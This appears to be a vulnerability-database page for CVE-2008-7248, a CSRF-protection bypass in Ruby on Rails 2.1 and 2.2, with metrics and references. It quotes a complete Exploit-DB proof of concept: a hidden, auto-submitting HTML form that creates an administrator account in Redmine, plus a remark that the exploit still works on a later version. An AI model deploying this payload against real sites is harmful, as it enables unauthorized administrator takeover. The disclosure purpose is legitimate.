CVE-2008-7248 : Detail

CVE-2008-7248

A03-Injection
11.41%V4
Network
2009-12-16
00h00 +00:00
2010-03-30
07h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Ruby on Rails 2.1 before 2.1.3 and 2.2.x before 2.2.2 does not verify tokens for requests with certain content types, which allows remote attackers to bypass cross-site request forgery (CSRF) protection for requests to applications that rely on this protection, as demonstrated using text/plain.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33402

Publication date : 2009-12-13 23h00 +00:00
Author : p0deje
EDB Verified : Yes

source: https://www.securityfocus.com/bid/37322/info Ruby on Rails is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible. /** * Redmine <= 0.8.6 CSRF Add Admin User Exploit * Discovered by: p0deje (http://p0deje.blogspot.com) * Application: http://www.redmine.org/wiki/redmine/Download * SA: http://www.redmine.org/news/30 * Date: 13.11.2009 * Versions affected: <= 0.8.6 * Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights */ <html> <body> <form method=POST action="http://www.example.com/users/new"> <input style="display: none" type="text" value="hacker" size="25" name="user[login]" id="user_login"/> <input style="display: none" type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/> <input style="display: none" type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/> <input style="display: none" type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/> <input style="display: none" type="password" size="25" name="password" id="password" value="hacker" /> <input style="display: none" type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" /> <input style="display: none" type="checkbox" value="1" name="user[admin]" id="user_admin"/> <input style="display: none" type="hidden" value="1" name="user[admin]"/> <input style="display: none" type="submit" value="Create" id="commit" name="commit" /> </form> <script>document.getElementById("commit").click();</script> </body> </html> /** * P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users. * Thus, you can add POST data with token of any user and exploit will be working again */

Products Mentioned

Configuraton 0

Rubyonrails>>Rails >> Version 2.1.0

Rubyonrails>>Rails >> Version 2.1.1

Rubyonrails>>Rails >> Version 2.1.2

Rubyonrails>>Rails >> Version 2.2.0

Rubyonrails>>Rails >> Version 2.2.1

References

http://www.openwall.com/lists/oss-security/2009/11/28/1
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/36600
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/2544
Tags : vdb-entry, x_refsource_VUPEN
http://www.openwall.com/lists/oss-security/2009/12/02/2
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/38915
Tags : third-party-advisory, x_refsource_SECUNIA